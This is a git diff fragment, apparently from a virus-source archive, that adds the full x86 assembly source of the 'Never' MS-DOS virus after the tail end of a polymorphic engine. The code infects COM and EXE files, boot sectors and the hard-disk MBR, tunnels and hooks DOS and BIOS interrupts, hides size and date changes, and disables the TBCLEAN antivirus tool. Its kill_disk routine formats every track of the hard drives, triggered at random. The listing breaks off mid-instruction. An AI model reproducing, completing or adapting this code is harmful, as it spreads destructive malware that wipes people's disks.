+ call _random + test al,al + je get_mov_reg + cmp al,4 + je get_mov_reg + cmp al,5 + ja get_mov_reg + cmp al,reg_1 + je get_mov_reg + ret + +one_byters: + db 0CCh + stc + clc + cmc + sti + nop + cld + +randomize: + push cx dx + xor ah,ah + int 1Ah + mov rnd_seed_1,dx + add dx,cx + mov rnd_seed_2,dx + pop dx cx + ret + +_random: + push cx dx ax + add dx,rnd_seed_2 + add dx,17 + mov ax,dx + xor dx,dx + test ax,ax + je rnd_done + pop cx + div cx + mov ax,dx ; AX now holds our random # +rnd_done: + mov dx,rnd_seed_1 + add rnd_seed_2,dx + pop dx cx + ret + +engine endp diff --git a/MSDOS/Virus.MSDOS.Unknown.never.asm b/MSDOS/Virus.MSDOS.Unknown.never.asm new file mode 100644 index 00000000..f6a1c0db --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.never.asm @@ -0,0 +1,1646 @@ +;Never Virus +;COM/EXE/Boot sector/partition table/full Stealth and polymorphic +;Tunnels +;Does other stuff +;link with eng.asm + +.model tiny +.code + +file_size equ file_end - v_start +sect_size equ (decrypt - v_start + 511) / 512 +para_size equ (v_end - v_start + 15) / 16 +kilo_size equ (v_end - v_start + 1023) / 1024 + +find_dos_13 equ tracer_dos_13 - (trace_mode + 1) +find_13 equ tracer_13 - (trace_mode + 1) +find_15 equ tracer_15 - (trace_mode + 1) +find_21 equ tracer_21 - (trace_mode + 1) +find_40 equ tracer_40 - (trace_mode + 1) +step_21 equ tracer_step_21 - (trace_mode + 1) + +loader_size equ (OFFSET loader_end) - loader + +no_hook_21 equ new_13_next - (hook_21 + 1) +yes_hook_21 equ check_21 - (hook_21 + 1) + +boot equ 0 +file equ 1 + +years equ 100 shl 1 + + +v_start: jmp decrypt + + ; push cs + ; pop ds + ; call copy_ints + dw copy_ints - ($ + 2) ; save ints 13 15 21 40 + mov ds:hook_21,al ; (0=yes_hook_21) hook 21h + mov ds:origin,al ; (0=boot) remeber host + mov es,ax ; ES=0 + pop di + sub di,3 ; address of loader in boot + push ax di ; save return address 0:xxxx + mov si,offset boot_code + call move_boot_code1 ; copy and decode boot code + mov al,13h + mov dx,offset new_13 + call set_int ; hook int 13h + call inf_hard ; infect drive C: + test byte ptr ds:load_head,dl ; DL=80h drive C:? + je boot_retf + mov ax,1ffh + call random ; time to activate? + jne boot_retf + jmp kill_disk + +boot_retf: retf ; return to boot sector + +;=====( Copy boot code and (en/de)crypt it )=================================; + +move_boot_code1:mov ah,ds:[si - 1] ; get key +move_boot_code: mov cx,loader_size + cld +move_boot_loop: lodsb + xor al,ah ; code/decode + rol ah,1 + stosb + loop move_boot_loop + retn + +;=====( Code that was in boot sector before infection )======================; + +boot_code_key db ? +boot_code db loader_size dup(?) + +;=====( Gets inserted into infected Boot sectors/MBRs )======================; + +loader: call $ + 3 + mov di,40h + mov ds,di + sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory + mov ax,ds:[di-(40h-13h)] + mov cl,0ah + ror ax,cl ; get TOM address + mov es,ax + mov ax,200h + sect_size + xor bx,bx + mov cx,0 +load_sect = $ - 2 + mov dx,0 +load_head = $ - 2 + int 13h ; read code into memory + jb load_fail + push es bx ; address of high code + retf +load_fail: int 18h +loader_end: + +;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================; + +copy_ints: push ds + xor ax,ax + mov ds,ax ; segment 0 + mov si,13h * 4h + mov di,offset int_13 + push si si + movsw + movsw ; int 13h to int_13 + pop si + movsw + movsw ; int 13h to dos_13 + mov si,15h * 4h + movsw + movsw ; int 15h to int_15 + pop si ; address of int 13h's IVT + cmp byte ptr ds:[475h],al ; any hard disks? + je copy_int_40 + mov si,40h * 4h +copy_int_40: movsw + movsw ; copy int 13h/40h to int_40 + mov si,21h * 4h + movsw + movsw ; int 21h to int_21 + pop ds + retn + +;=====( get interrupt address )==============================================; + +get_int: push ax + xor ah,ah + rol ax,1 + rol ax,1 + xchg bx,ax + xor ax,ax + mov es,ax + les bx,es:[bx] ; get int address + pop ax + retn + +;=====( Set interrupt address )==============================================; + +set_int: push ax bx ds + xor ah,ah + rol ax,1 + rol ax,1 + xchg ax,bx + xor ax,ax + push ds + mov ds,ax + mov ds:[bx],dx + pop ds:[bx + 2] + pop ds bx ax + retn + + +push_all: pop cs:push_pop_ret + pushf + push ax bx cx dx bp si di ds es + mov bp,sp +push_pop_jmp: jmp cs:push_pop_ret + +pop_all: pop cs:push_pop_ret + pop es ds di si bp dx cx bx ax + popf + jmp push_pop_jmp + +;=====( Infect Drive C: )====================================================; + +inf_hard: push cs cs + pop es ds + mov ax,201h + mov bx,offset disk_buff + mov cx,1 + mov dx,80h + call call_13 ; read MBR of drive C: + jb cant_inf_hard + cmp ds:[bx.pt_start_head],ch ; Jackal? + je cant_inf_hard + mov cx,ds:[bx.pt_end_sector_track] + and cx,0000000000111111b ; get sector count + sub cx,sect_size + jbe cant_inf_hard + cmp cl,1 ; too few sectors? + jbe cant_inf_hard + call copy_loader ; copy loader into MBR + jb cant_inf_hard + push bx + mov ax,300h + sect_size + xor bx,bx + call call_13 ; write code to hidden sectors + pop bx + jb cant_inf_hard + mov ax,301h + mov cl,1 + call call_13 ; write infected MBR +cant_inf_hard: retn + +;=====( Copy Loader into disk_buff (BX) )====================================; + +copy_loader: push cx dx + cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code? + jne copy_load_no + mov di,offset boot_code + mov ds:[di+load_sect-boot_code],cx ; save track/sector + and dl,80h ; Drive C: or A: + mov ds:[di+load_head-boot_code],dx ; save head/disk + call find_boot ; find code/already infected? + je copy_load_no + call random_1 ; get random key + mov ds:[di - 1],ah ; save key at boot_code_key + push si + call move_boot_code ; save boot code and encrypt + mov si,di ; offset of loader + pop di ; boot code pointer + mov cx,loader_size + rep movsb ; copy loader into boot sect + clc + mov al,0 + org $ - 1 +copy_load_no: stc + pop dx cx + retn + +;=====( Find start of boot sector's code )===================================; + +find_boot: mov si,bx + cld + lodsb ; get 1st instruction + push ax + lodsw ; Jump displacement (if jump) + xchg cx,ax + pop ax + cmp al,0ebh ; Short jump? + jne find_boot_jump + xor ch,ch ; 8bit jump + dec si + jmp find_boot_add +find_boot_jump: cmp al,0e9h ; Near Jump? + je find_boot_add +find_boot_noadd:sub cx,cx ; No displacement + mov si,bx +find_boot_add: add si,cx ; si=start of boot code + cmp si,offset (disk_buff+200h) - (loader_size + 5) + ; jump out of range? + jnb find_boot_noadd + cmp word ptr ds:[si],00e8h ; CALL -> already infected + jne find_boot_ret + cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf +find_boot_ret: retn + +;=====( Disable TBCLEAN )====================================================; + +anti_tbclean: xor ax,ax + pushf + pop dx + and dh,not 1 ; TF off + push dx dx + popf + push ss + pop ss + pushf ; Not trapped + pop dx + test dh,1 ; TF set? + pop dx + je anti_tb_ret + push es + xor bp,bp + mov cx,ss + cli + mov ss,bp ; segment 0 + les di,ss:[bp+1h*4h] ; address of int 1h + mov ss,cx + sti + mov al,0cfh + cld + stosb ; IRET -> Int 1h + pop es + push dx + popf +anti_tb_ret: xchg bp,ax ; save result + retn + +;=====( Swap jump into DOS' int 13h )========================================; + +swap_13: call push_all + mov si,offset jump_code_13 + les di,cs:[si+dos_13-jump_code_13] ; get address in DOS + jmp swap_code + +;=====( Swap jump into DOS' int 21h )========================================; + +swap_21: call push_all + mov si,offset jump_code_21 + les di,cs:[si+int_21-jump_code_21] +swap_code: push cs + pop ds + mov cx,5 + cmp ds:origin,ch ; 0 -> Boot origin, no tunnel + je swap_end + cld +swap_loop: lodsb + xchg al,es:[di] + mov ds:[si-1],al + inc di + loop swap_loop +swap_end: call pop_all + retn + +;=====( Find original interrupt entry points )===============================; + +find_ints: call copy_ints ; get interrupt addresses + mov ah,52h + int 21h + mov ax,es:[bx-2] + mov ds:dos_seg,ax ; 1st MCB segment + mov al,1h + call get_int ; get address of int 1h + push bx es + mov dx,offset tracer + call set_int ; hook int 1h + pushf + pop si + mov di,offset trace_mode + mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS + ; and BIOS + mov ah,1h + call si_tf ; set TF + call call_13 + mov byte ptr ds:[di],find_15 ; find int 15h in BIOS + mov ah,0c0h + call si_tf ; set TF + pushf + call ds:int_15 + mov byte ptr ds:[di],find_21 ; find int 21h in DOS + mov ah,30h + call si_tf ; set TF + call call_21 + mov byte ptr ds:[di],find_40 ; find int 40h in BIOS + mov ah,1 + call si_tf ; set TF + call call_40 + and si,not 100h + push si + popf ; disable Trapping + pop ds dx + mov al,1 + call set_int ; unhook int 1h + retn + +;=====( Set TF in SI, then set flags to SI )=================================; + +si_tf: or si,100h + push si + popf + retn + +;=====( Tracing/Tunneling )==================================================; + +tracer: push ds + push cs + pop ds + mov ds:old_di,di + mov di,offset old_ax + mov ds:[di],ax + mov ds:[di+old_bx-old_ax],bx + mov ds:[di+old_cx-old_ax],cx + mov ds:[di+old_dx-old_ax],dx + pop ds:[di-(old_ax-old_ds)] + pop bx cx dx ; get IP, CS and Flags + mov ax,cs + cmp ax,cx ; In our CS? + jne $ +trace_mode = byte ptr $ - 1 + jmp tracer_iret + +tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code? + jnb tracer_cont + mov di,offset dos_13 + mov ds:trace_mode,find_13 ; find it in BIOS next + jmp tracer_save_f + +tracer_21: cmp cx,1234h ; In DOS code? +dos_seg = word ptr $ - 2 + jnb tracer_cont + mov di,offset int_21 +tracer_save: and dh,not 1 ; TF off +tracer_save_f: mov ds:[di],bx + mov ds:[di + 2],cx ; save address of int + jmp tracer_cont + +tracer_15: mov di,offset int_15 + jmp tracer_bios + +tracer_40: mov di,offset int_40 + jmp tracer_bios + +tracer_13: mov di,offset int_13 +tracer_bios: cmp ch,0c8h ; Below BIOS? + jb tracer_cont + cmp ch,0f4h ; Above BIOS? + jb tracer_save + jmp tracer_cont + +tracer_step_21: dec ds:inst_count ; down counter + jne tracer_cont + push dx + mov al,1 + lds dx,ds:int_1 ; get int 1h address + call set_int + call swap_21 ; insert int 21h jump + pop dx + and dh,not 1h ; TF off + +tracer_cont: test dh,1 ; TF on? + je tracer_iret +get_inst: mov ds,cx ; instruction CS + xor di,di +get_inst1: mov ax,ds:[bx + di] ; get instruction + cmp al,0f0h ; LOCK + je skip_prefix + cmp al,0f2h ; REPNE + je skip_prefix + cmp al,0f3h ; REPE? + je skip_prefix + cmp al,9ch ; PUSHF or above? + jae emulate_pushf + and al,11100111b ; 26,2e,36,3e = 26 + cmp al,26h ; Segment Prefix? + jne tracer_iret +skip_prefix: inc di + jmp get_inst1 + +emulate_pushf: jne emulate_popf + and dh,not 1 ; TF off + push dx ; fake PUSHF +emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction +emulate_tf: or dh,1 ; TF on + jmp get_inst + +emulate_popf: cmp al,9dh ; POPF? + jne emulate_iret + pop dx ; fake POPF + jmp emulate_next + +emulate_iret: cmp al,0cfh ; IRET? + jne emulate_int + pop bx cx dx ; fake IRET + jmp emulate_tf + +emulate_int: cmp al,0cdh ; Int xx + je emulate_int_xx + cmp al,0cch ; Int 3? + mov ah,3 + je emulate_int_x + cmp al,0ceh ; Into? + mov ah,4 + jne tracer_iret + test dh,8 ; OF set? + je tracer_iret +emulate_int_x: dec bx ; [bx+di+2-1] +emulate_int_xx: and dh,not 1 ; TF off + lea bx,ds:[bx + di + 2] ; get return address + push dx cx bx ; fake Int + mov al,ah + push es + call get_int ; get interrupt address + mov cx,es + pop es + jmp emulate_tf + +tracer_iret: push dx cx bx ; save flags, cs & ip + mov ax,0 +old_ds = word ptr $ - 2 + mov ds,ax + mov ax,0 +old_ax = word ptr $ - 2 + mov bx,0 +old_bx = word ptr $ - 2 + mov cx,0 +old_cx = word ptr $ - 2 + mov dx,0 +old_dx = word ptr $ - 2 + mov di,0 +old_di = word ptr $ - 2 + iret + +;=====( file infections come here after decryption )=========================; + +file_start: push ds ; save PSP segment + call $ + 3 + pop si + sub si,offset $ - 1 + call anti_tbclean ; disable TBCLEAN + or bp,bp ; TBCLEAN active? + jne go_res + mov ah,30h + mov bx,-666h + int 21h + cmp al,3h ; must be DOS 3+ + jb jump_host +go_res: mov ax,es + dec ax + mov ds,ax + sub di,di + or bp,bp ; TBCLEAN here? + jne dont_check_mcb + cmp byte ptr ds:[di],'Z' ; Last Block? + jne jump_host +dont_check_mcb: mov ax,para_size + sub ds:[di + 3],ax ; from MCB + sub ds:[di + 12h],ax ; from PSP + mov es,ds:[di + 12h] ; get memory address + mov ds,di + sub word ptr ds:[413h],kilo_size ; from int 12h + mov cx,jump_code_13-v_start + cld + rep movs byte ptr es:[di],byte ptr cs:[si] + mov ax,offset high_code + push es ax + retf + +jump_host: push cs + pop ds + pop es ; PSP segment + lea si,ds:[si + header] ; get address of header + mov ax,ds:[si] ; get 1st instruction + cmp ax,'ZM' ; EXE? + je jump_2_exe + cmp ax,'MZ' ; EXE? + je jump_2_exe + mov cx,18h / 2 + mov di,100h + push es di + cld + rep movsw ; repair .COM file + push es + pop ds + xchg ax,cx + retf + +jump_2_exe: mov ax,es + add ax,10h + add ds:[si.eh_cs],ax + add ax,ds:[si.eh_ss] ; get SS/CS + push es + pop ds + cli + mov ss,ax + mov sp,cs:[si.eh_sp] + xor ax,ax + sti + jmp dword ptr cs:[si.eh_ip] + + +high_code: push cs + pop ds + mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel + mov ax,2 + call random ; 1 in 3 chance of no stealth + ; on special programs + mov ds:check_special,al + mov ds:hook_21,no_hook_21 ; dont hook int 21h + mov al,0eah + stosb ; store at jump_code_13 + mov ds:[di+4],al + mov ax,offset new_13 + stosw + mov word ptr ds:[di+3],offset new_21 + mov ds:[di],cs + mov ds:[di+5],cs + push di + call find_ints ; trace interrupts + pop di + push cs + pop ds + mov ax,ds:dos_seg + cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax + ; found DOS' int 13h? + ja call_inf_hard + cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax + ; found DOS' int 21h? + ja call_inf_hard + call swap_13 + call swap_21 ; insert jumps into DOS +call_inf_hard: call inf_hard ; infect drive C: + or bp,bp ; ZF -> No TBCLEAN + mov si,bp ; SI=0 if goto jump_host + jne kill_disk + jmp jump_host + +kill_disk: xor bx,bx + mov es,bx ; table to use for format + mov dl,80h ; Drive C: +kill_next_disk: xor dh,dh ; head 0 +kill_next_track:xor cx,cx ; track 0 +kill_format: mov ax,501h + call call_disk ; format track + and cl,11000000b + inc ch ; next track low + jne kill_format + add cl,40h ; next track high + jne kill_format + xor ah,ah + int 13h ; reset disk + inc dh ; next head + cmp dh,10h + jb kill_next_track + inc dx ; next drive + jmp kill_next_disk + +;=====( Interrupt 13h handler )==============================================; + +new_13: jmp $ +hook_21 = byte ptr $ - 1 + +check_21: call push_all + mov al,21h + call get_int ; get int 21h address + mov ax,es + push cs cs + pop ds es + cmp ax,800h ; too high? + ja cant_hook_21 + mov di,offset int_21 + 2 + std + xchg ax,ds:[di] ; swap addresses + scasw ; did it change? + je cant_hook_21 + mov ds:[di],bx + mov al,21h + mov dx,offset new_21 + call set_int ; hook int 21h + mov ds:hook_21,no_hook_21 +cant_hook_21: call pop_all + +new_13_next: cmp ah,2h ; Read? + jne jump_13 + cmp cx,1 ; track 0, sector 1? + jne jump_13 + or dh,dh ; head 0? + je hide_boot +jump_13: call call_dos_13 + retf 2h + + +hide_boot: call call_dos_13 ; read boot sector + call push_all + jb hide_boot_err + push es cs + pop es ds + mov cx,100h + mov si,bx + mov di,offset disk_buff + mov bx,di + cld + rep movsw ; copy boot sector to buffer + push cs + pop ds + call find_boot ; find start/already infected? + jne inf_boot + mov ax,201h + mov cx,ds:[si+load_sect-loader] + mov dh,byte ptr ds:[si+(load_head+1)-loader] + ; get code location + call call_disk ; read virus code + jb hide_boot_err + mov ax,ds:[0] + cmp ds:[bx],ax ; verify infection + jne hide_boot_err + mov di,ss:[bp.reg_bx] + mov es,ss:[bp.reg_es] ; get caller's buffer + sub si,bx ; displacement into boot sect. + add di,si ; address of loader + lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus + call move_boot_code1 ; hide infection +hide_boot_err: call pop_all + retf 2h + +inf_boot: cmp dl,80h ; hard disk? + jnb hide_boot_err + mov ax,301h + mov cx,1 + call call_disk ; Write boot sector to disk + ; CY -> Write-Protected + jb hide_boot_err + mov si,dx ; save drive # + mov di,bx + mov ax,ds:[di.bs_sectors] ; get number of sectors + mov cx,ds:[di.bs_sectors_per_track] + sub ds:[di.bs_sectors],cx ; prevent overwriting of code + mov ds:hide_count,cx + xor dx,dx + or ax,ax ; error? + je hide_boot_err + jcxz hide_boot_err + div cx + or dx,dx ; even division? + jne hide_boot_err + mov bx,ds:[di.bs_heads] ; get number of heads + or bx,bx + je hide_boot_err + div bx + or dx,dx + jne hide_boot_err + dec ax + mov ch,al ; last track + mov cl,1 ; sector 1 + dec bx + mov dx,si ; drive + mov dh,bl ; last head + mov bx,di ; offset disk buffer + call copy_loader ; Copy loader into Boot sector + jb hide_boot_err + mov ax,300h + sect_size + xor bx,bx + call call_disk + jb hide_boot_err + mov ax,301h + mov bx,offset disk_buff + mov cx,1 + xor dh,dh + call call_disk ; write boot sector to disk + mov bx,ss:[bp.reg_bx] + mov ds,ss:[bp.reg_es] ; get caller's buffer + sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code +hide_count = word ptr $ - 2 + jmp hide_boot_err + +;=====( Interrupt 21h handler )==============================================; + +new_21: cli + mov cs:int_21_ss,ss + mov cs:int_21_sp,sp ; save stack pointers + push cs + pop ss + mov sp,offset temp_stack ; allocate stack + sti + call push_all + in al,21h + or al,2 ; disable keyboard + out 21h,al + push cs + pop ds + mov di,offset new_24 + mov word ptr ds:[di-(new_24-handle)],bx ; save handle + mov al,24h + call get_int ; get address of int 24h + mov word ptr ds:[di-(new_24-int_24)],bx + mov word ptr ds:[di-(new_24-(int_24+2))],es + mov word ptr ds:[di],03b0h ; MOV AL,3 + mov byte ptr ds:[di+2],0cfh ; IRET + mov dx,di + call set_int ; hook int 24h + call pop_all + call swap_21 ; remove jump from int 21h + call push_all + cmp ah,30h ; get DOS version? + jne is_dir_fcb + add bx,666h ; looking for us? + jnz is_dir_fcb + mov ss:[bp.reg_ax],bx ; set DOS version=0 + mov ss:[bp.reg_bx],bx + jmp retf_21 + +is_dir_fcb: cmp ah,11h + jb is_dir_asciiz + cmp ah,12h + ja is_dir_asciiz + call call_21 ; do find + or al,al ; error? + je dir_fcb + jmp jump_21 + +dir_fcb: call save_returns ; save AX + call get_psp ; get current PSP + mov ax,'HC' + scasw ; CHKDSK? + jne dir_fcb_ok + mov ax,'DK' + scasw + jne dir_fcb_ok + mov ax,'KS' + scasw + je retf_21 +dir_fcb_ok: call get_dta ; get DTA address + xor di,di + cmp byte ptr ds:[bx],-1 ; extended FCB? + jne dir_fcb_next + mov di,7h ; fix it up +dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI +dir_hide: call is_specialfile ; no stealth if helper + je retf_21 + cmp byte ptr ds:[si],years ; infected? + jc retf_21 + sub byte ptr ds:[si],years ; restore old date + les ax,ds:[bx+di.ds_size] ; get size of file + mov cx,es + sub ax,file_size ; hide size increase + sbb cx,0 + jc retf_21 + mov word ptr ds:[bx+di.ds_size],ax + mov word ptr ds:[bx+di.ds_size+2],cx ; save new size +retf_21: call undo_24 ; unhook int 24h + call pop_all + call swap_21 ; insert jump + cli + mov ss,cs:int_21_ss + mov sp,cs:int_21_sp + sti + retf 2 + + +is_dir_asciiz: cmp ah,4eh + jb is_lseek + cmp ah,4fh + ja is_lseek + call call_21 + jnc dir_asciiz +go_jump_21: jmp jump_21 + +dir_asciiz: call save_returns ; save AX and flags + call get_dta ; get dta address + mov di,-3 + lea si,ds:[bx.dta_date+1] ; get year address + jmp dir_hide + +is_lseek: cmp ax,4202h ; Lseek to end? + jne is_date + call call_21_file + jb go_jump_21 + call get_dcb ; get DCB address + jbe lseek_exit + call is_specialfile ; dont hide true size from + ; helpers + je lseek_exit + sub ax,file_size + sbb dx,0 ; hide virus at end + mov word ptr ds:[di.dcb_pos],ax + mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB +lseek_exit: clc + call save_returns ; save AX/flags + mov ss:[bp.reg_dx],dx + jmp retf_21 + +is_date: cmp ax,5700h ; get date? + je get_date + cmp ax,5701h ; set date? + jne is_read + call get_dcb + jbe date_err + cmp dh,years ; already setting 100 years? + jnb date_err + add dh,years ; dont erase marker +get_date: call is_specialfile ; do not hide date for + ; helpers + je date_err + call call_21_file ; get/set date + jnc date_check +date_err: jmp jump_21 + +date_check: cmp dh,years ; infected? + jb date_ok + sub dh,years +date_ok: clc + call save_returns ; save ax/flags + mov ss:[bp.reg_cx],cx + mov ss:[bp.reg_dx],dx ; save time/date + jmp retf_21 + +is_read: cmp ah,3fh ; reading file? + je do_read +no_read: jmp is_write + +do_read: call get_dcb ; get DCB address + jbe no_read + call is_specialfile + je no_read + les ax,ds:[di.dcb_size] ; get size of file + mov bx,es + les dx,ds:[di.dcb_pos] ; get current position + mov si,es + and cs:read_bytes,0 + or si,si ; in 1st 64k? + jnz read_high + cmp dx,18h ; reading header? + jnb read_high + push cx + add cx,dx + cmc + jnc read_above + cmp cx,18h ; read goes above header? +read_above: pop cx + jb read_below + mov cx,18h + sub cx,dx +read_below: push ax bx ; save size + push dx ; position + sub dx,18h + add ax,dx ; get position in header + cmc + sbb bx,si + xchg word ptr ds:[di.dcb_pos],ax + xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header + push ax bx + push ds + mov ah,3fh + mov dx,ss:[bp.reg_dx] + mov ds,ss:[bp.reg_ds] + call call_21_file ; read file + pop ds + pop word ptr ds:[di.dcb_pos+2] + pop word ptr ds:[di.dcb_pos] + pop dx + pushf + add dx,ax ; adjust position + add cs:read_bytes,ax ; remember # of bytes read + popf + pop bx ax + jnc read_high + jmp jump_21 + +read_high: mov word ptr ds:[di.dcb_pos],dx ; update position + mov word ptr ds:[di.dcb_pos+2],si + mov cx,ss:[bp.reg_cx] ; number of bytes to read + sub cx,cs:read_bytes + sub ax,file_size + sbb bx,0 ; get original size + push ax bx + sub ax,dx + sbb bx,si ; in virus now? + pop bx ax + jnc read_into + xor cx,cx ; read 0 bytes + jmp read_fake + +read_into: add dx,cx + adc si,0 ; get position after read + cmp bx,si ; read extends into virus? + ja read_fake + jb read_adjust + cmp ax,dx + jnb read_fake +read_adjust: sub dx,cx ; get position again + xchg cx,ax + sub cx,dx ; # of bytes to read = Original size - Pos +read_fake: mov ah,3fh + mov dx,ss:[bp.reg_dx] + add dx,cs:read_bytes + mov ds,ss:[bp.reg_ds] + call call_21_file ; read file + jc read_exit + add ax,0 +read_bytes = word ptr $ - 2 + clc +read_exit: call save_returns + jmp retf_21 + + +is_write: cmp ah,40h ; write? + je do_write +no_write: jmp is_infect + +do_write: call get_dcb + jbe no_write + les ax,ds:[di.dcb_size] ; get file size + mov bx,es + sub ax,18h + sbb bx,0 ; get header position + xchg ax,word ptr ds:[di.dcb_pos] + xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header + push ax bx + mov ax,2 + xchg ax,ds:[di.dcb_mode] ; read/write mode + push ax + push ds cs + pop ds es + call read_header ; read 18h bytes + pop es:[di.dcb_mode] ; restore access mode + jc write_rest_pos + mov word ptr es:[di.dcb_pos],ax + mov word ptr es:[di.dcb_pos+2],ax ; lseek to start + call write_header ; write old header + jc write_rest_pos + push es + pop ds + sub word ptr ds:[di.dcb_size],file_size + sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus + sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years +write_rest_pos: pop word ptr es:[di.dcb_pos+2] + pop word ptr es:[di.dcb_pos] + jmp jump_21 + + +is_infect: cmp ah,3eh ; Close? + je infect_3e + cmp ax,4b00h ; Execute? + je infect_4b + jmp jump_21 + +infect_4b: mov ax,3d00h ; Open file + cmp ax,0 + org $ - 2 +infect_3e: mov ah,45h ; Duplicate handle + call int_2_bios ; lock out protection programs + call call_21_file ; get handle + mov cs:handle,ax + mov ax,4408h + cwd + jc undo_bios + call get_dcb ; get DCB for handle + jb cant_infect + jne cant_infect ; error/already infected + mov bl,00111111b + and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code + mov dl,bl ; DX=00** + inc bx ; 0=default,1=a,2=b,3=c,etc. + call call_21 ; drive removable? + mov cx,1h + push cs + pop es + jc test_prot_drive + dec ax ; 1=non-removable + jz no_protect + jmp test_protect + +test_prot_drive:cmp dl,1 ; A or B? + ja no_protect +test_protect: mov ax,201h + mov bx,offset disk_buff + int 13h ; read sector + jc cant_infect + mov ax,301h + int 13h ; write it back + jc cant_infect +no_protect: inc cx ; CX=2 + xchg cx,ds:[di.dcb_mode] ; read/write access mode + push cx + xor ax,ax + xchg ah,ds:[di.dcb_attr] ; attribute=0 + test ah,00000100b ; system file? + push ax + jne cant_system + cbw + cwd + xchg ax,word ptr ds:[di.dcb_pos] + xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0 + push ax dx + mov bp,-'OC' + add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO + jnz not_com + mov bp,-'MO' + add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM +not_com: call infect + pushf + call get_dcb + popf + jc not_infected + add byte ptr ds:[di.dcb_date+1],years ; add 100 years +not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date + pop word ptr ds:[di.dcb_pos+2] + pop word ptr ds:[di.dcb_pos] +cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute + pop ds:[di.dcb_mode] ; restore access mode +cant_infect: mov ah,3eh + call call_21_file ; close file +undo_bios: call int_2_bios ; restore interrupts + +;=====( Jump on to int 21h )=================================================; + +jump_21: call undo_24 ; unhook int 24h + push cs + pop ds + mov al,1h + mov di,offset int_1 + cmp byte ptr ds:[di+origin-int_1],al ; file origin? + jne jump_21_1 + call get_int ; get int 1h address + mov ds:[di],bx + mov ds:[di + 2],es + mov byte ptr ds:[di+inst_count-int_1],5 + mov ds:trace_mode,step_21 + mov dx,offset tracer + call set_int ; hook int 1h + call pop_all + push si + pushf + pop si + call si_tf ; set TF + pop si +go_21: cli + mov ss,cs:int_21_ss + mov sp,cs:int_21_sp ; restore stack + sti +go_2_21: jmp cs:int_21 + +jump_21_1: call pop_all + jmp go_21 + +;=====( actual infection routine )===========================================; + +infect: push cs + pop ds + call read_header ; read first 18h bytes + jc inf_bad_file + mov si,dx + mov di,offset work_header + cld + rep movsb ; copy header to work_header + call get_dcb + les ax,ds:[di.dcb_size] ; get file size + mov dx,es + mov word ptr ds:[di.dcb_pos],ax + mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end + push cs cs + pop es ds + mov cx,ds:[si] ; get first 2 bytes + cmp cx,'MZ' ; .EXE file? + je inf_exe + cmp cx,'ZM' ; .EXE file? + je inf_exe + or dx,bp ; COM file and < 64k? + jnz inf_bad_file + cmp ax,0-(file_size+100) + ja inf_bad_file + cmp ax,1000 + jb inf_bad_file + mov byte ptr ds:[si],0e9h ; build jump + inc ah ; Add PSP size (100h) + push ax ; save IP for engine + add ax,offset decrypt-103h ; get jump disp. (- PSP size) + mov ds:[si+1],ax + jmp append_vir + +inf_bad_file: stc + retn + +inf_exe: cmp word ptr ds:[si.eh_max_mem],-1 + jne inf_bad_file + mov bp,ax + mov di,dx ; save size in DI:BP + mov cx,200h + div cx ; divide into pages + or dx,dx ; Any remainder? + jz no_round + inc ax +no_round: sub ax,ds:[si.eh_size] ; size same as header says? + jne inf_bad_file + sub dx,ds:[si.eh_modulo] + jne inf_bad_file + mov ax,file_size ; virus size + add ax,bp + adc dx,di ; + program size + div cx ; / 512 + or dx,dx ; round up? + jz no_round1 + inc ax +no_round1: mov ds:[si.eh_size],ax + mov ds:[si.eh_modulo],dx ; set new size + mov bx,0-(file_size+1000) + xor cx,cx +get_exe_ip: cmp bp,bx ; make sure virus does not + ; cross segments + jb got_exe_ip + sub bp,10h ; down 10h bytes + loop get_exe_ip ; up 1 paragraph +got_exe_ip: cmp di,0fh + ja inf_bad_file + xchg cx,ax + mov cl,4 + ror di,cl ; get segment displacement + or ax,ax + jz no_para_add + sub di,ax ; Add segments from LOOP + jnc inf_bad_file +no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in + ; paragraphs + push bp ; save offset of v_start + add bp,decrypt-v_start + mov ds:[si.eh_ip],bp ; set IP + mov ds:[si.eh_cs],di ; set CS + add bp,512 ; 512 bytes of stack + mov ds:[si.eh_sp],bp ; set SP + mov ds:[si.eh_ss],di ; set SS + mov bp,8000h ; Tell engine "Exe file" + sar bx,cl ; 0 - ((file_size+1000h)/16) + mov ax,ds:[si.eh_min_mem] + sub ax,bx ; add file_size+1000h/16 + jnb append_vir + mov ds:[si.eh_min_mem],ax + +append_vir: pop ax + call engine ; encrypt/write/decrypt + push bp + popf + jc append_vir_err + call get_dcb + mov word ptr ds:[di.dcb_pos],cx + mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start + mov ah,40h + mov dx,offset work_header + push cs + pop ds + call header_op ; write new header to file +append_vir_err: retn + +;=====( Get DCB address for file )===========================================; + +get_dcb: push ax bx + mov ax,1220h + mov bx,cs:handle ; get file handle + int 2fh ; get DCB number address + jc get_dcb_fail + mov ax,1216h + mov bl,es:[di] ; get DCB number + cmp bl,-1 ; Handle Openned? + cmc + je get_dcb_fail + int 2fh ; get DCB address + jc get_dcb_fail + push es + pop ds + test byte ptr ds:[di.dcb_dev_attr],80h ; device or file? + cmc + jne get_dcb_fail + test byte ptr 